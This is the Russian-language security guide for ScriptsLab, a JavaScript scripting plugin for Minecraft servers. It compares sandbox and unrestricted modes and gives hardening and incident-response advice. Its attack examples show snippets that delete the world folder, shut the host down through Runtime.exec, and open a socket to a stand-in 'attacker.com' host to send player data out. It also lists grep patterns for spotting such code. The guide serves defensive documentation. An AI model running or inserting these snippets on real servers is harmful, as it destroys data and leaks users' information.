Skip to content

Security: animesao/ScriptsLab

Security

SECURITY.md

ScriptsLab - Безопасность

⚠️ Важно!

ScriptsLab предоставляет мощный скриптовый движок, который может выполнять JavaScript код на вашем сервере. Неправильная конфигурация может привести к проблемам безопасности!

Режимы работы

🔓 Unrestricted Mode (Без ограничений)

Когда использовать:

  • Личный сервер
  • Вы единственный, кто пишет скрипты
  • Полное доверие ко всем администраторам

Возможности:

  • ✅ Полный доступ к Java API
  • ✅ Чтение/запись файлов
  • ✅ Сетевые запросы
  • ✅ Выполнение системных команд
  • ✅ Доступ к Reflection API

Настройка:

security:
  sandbox-enabled: false

⚠️ Риски:

  • Скрипты могут удалить файлы сервера
  • Скрипты могут выполнить системные команды
  • Скрипты могут украсть данные
  • Скрипты могут остановить сервер

🔒 Sandbox Mode (Песочница)

Когда использовать:

  • Публичный сервер
  • Несколько администраторов
  • Не доверяете всем скриптам

Ограничения:

  • ❌ Нет доступа к файловой системе
  • ❌ Нет сетевых запросов
  • ❌ Нет системных команд
  • ✅ Только безопасные Bukkit/Paper API
  • ✅ Только разрешённые Java классы

Настройка:

security:
  sandbox-enabled: true
  allowed-packages:
    - org.bukkit
    - net.kyori
    - java.util
    - java.lang

Что можно:

  • ✅ Работа с игроками
  • ✅ Работа с миром
  • ✅ События Bukkit
  • ✅ Команды
  • ✅ Кастомные предметы

Что нельзя:

  • new java.io.File()
  • Runtime.getRuntime().exec()
  • new java.net.Socket()
  • ❌ Reflection API

Текущая конфигурация

По умолчанию ScriptsLab работает в Unrestricted Mode для удобства разработки.

Для продакшена рекомендуется включить Sandbox Mode!

Примеры атак (что может пойти не так)

Атака 1: Удаление файлов

// В unrestricted mode это сработает!
var File = Java.type('java.io.File');
var worldFolder = new File('world');
worldFolder.delete(); // Удалит мир!

Защита: Sandbox mode блокирует java.io.File

Атака 2: Выполнение команд

// В unrestricted mode это сработает!
var Runtime = Java.type('java.lang.Runtime');
Runtime.getRuntime().exec('shutdown -s -t 0'); // Выключит сервер!

Защита: Sandbox mode блокирует java.lang.Runtime

Атака 3: Кража данных

// В unrestricted mode это сработает!
var Socket = Java.type('java.net.Socket');
var socket = new Socket('attacker.com', 1337);
// Отправка данных игроков злоумышленнику

Защита: Sandbox mode блокирует java.net.*

Атака 4: Бесконечный цикл

// Это сработает в любом режиме!
while(true) {
    // Заморозит сервер
}

Защита: Таймаут выполнения (настраивается в config.yml)

Рекомендации по безопасности

1. Используйте Sandbox Mode на публичных серверах

security:
  sandbox-enabled: true

2. Ограничьте права на папку скриптов

# Linux
chmod 700 plugins/ScriptsLab/scripts/
chown minecraft:minecraft plugins/ScriptsLab/scripts/

# Windows
# Настройте права через свойства папки

3. Проверяйте скрипты перед загрузкой

# Проверьте на опасные паттерны
grep -r "Runtime.getRuntime" scripts/
grep -r "java.io.File" scripts/
grep -r "java.net.Socket" scripts/

4. Используйте таймауты

scripts:
  timeout: 5000  # 5 секунд максимум

5. Ограничьте память

scripts:
  max-memory: 128  # 128 MB на скрипт

6. Логируйте всё

general:
  debug: true  # Включить подробное логирование

7. Регулярно проверяйте логи

# Ищите подозрительную активность
grep "Script" logs/latest.log
grep "ERROR" logs/latest.log

8. Используйте права доступа

# В plugin.yml
permissions:
  scriptslab.script:
    description: Управление скриптами
    default: op  # Только операторы

9. Делайте резервные копии

# Регулярно бэкапьте сервер
tar -czf backup-$(date +%Y%m%d).tar.gz world/ plugins/

10. Обновляйте плагин

Следите за обновлениями ScriptsLab для получения патчей безопасности.

Что делать при взломе

1. Немедленно остановите сервер

stop

2. Проверьте скрипты

# Найдите подозрительные скрипты
find plugins/ScriptsLab/scripts/ -type f -mtime -1

3. Проверьте логи

# Найдите подозрительную активность
grep -i "error\|exception\|failed" logs/latest.log

4. Удалите подозрительные скрипты

rm plugins/ScriptsLab/scripts/suspicious_script.js

5. Включите Sandbox Mode

security:
  sandbox-enabled: true

6. Смените пароли

Смените пароли от:

  • FTP/SFTP
  • Панели управления
  • Базы данных
  • Операторских аккаунтов

7. Восстановите из бэкапа

Если повреждения серьёзные - восстановите сервер из резервной копии.

Проверка безопасности

Тест 1: Попытка доступа к файлам

// Этот скрипт должен УПАСТЬ в sandbox mode
var File = Java.type('java.io.File');
Console.log('File access: ' + (File !== undefined));

Ожидаемый результат в sandbox mode:

ReferenceError: Java is not defined

Тест 2: Попытка выполнения команд

// Этот скрипт должен УПАСТЬ в sandbox mode
var Runtime = Java.type('java.lang.Runtime');
Runtime.getRuntime().exec('echo test');

Ожидаемый результат в sandbox mode:

ReferenceError: Java is not defined

Тест 3: Доступ к Bukkit API

// Этот скрипт должен РАБОТАТЬ в sandbox mode
var Material = Java.type('org.bukkit.Material');
Console.log('Bukkit access: OK');

Ожидаемый результат в sandbox mode:

[ScriptsLab] [Script] Bukkit access: OK

Сравнение режимов

Функция Unrestricted Sandbox
Bukkit API
Команды
События
Кастомные предметы
Файловая система
Сетевые запросы
Системные команды
Reflection API
Произвольные Java классы

FAQ

Q: Нужен ли мне Sandbox Mode?

A: Да, если:

  • У вас публичный сервер
  • Несколько человек имеют доступ к скриптам
  • Вы не доверяете всем скриптам на 100%

Нет, если:

  • Это ваш личный сервер
  • Только вы пишете скрипты
  • Вам нужен полный доступ к Java API

Q: Можно ли обойти Sandbox?

A: Теоретически - да, если найдена уязвимость в GraalVM. Но это очень сложно и маловероятно.

Q: Влияет ли Sandbox на производительность?

A: Минимально. Проверка прав доступа добавляет ~1-2% накладных расходов.

Q: Можно ли разрешить конкретные классы в Sandbox?

A: Да, добавьте их в allowed-packages в config.yml:

security:
  allowed-packages:
    - org.bukkit
    - com.mycompany.api

Q: Что делать, если скрипт не работает в Sandbox?

A: Либо:

  1. Переписать скрипт без опасных операций
  2. Добавить нужные классы в allowed-packages
  3. Отключить Sandbox (не рекомендуется)

Заключение

Для разработки: Используйте Unrestricted Mode
Для продакшена: Используйте Sandbox Mode

Золотое правило: Если сомневаетесь - включайте Sandbox!


Безопасность - это не опция, это необходимость! 🔒

There aren’t any published security advisories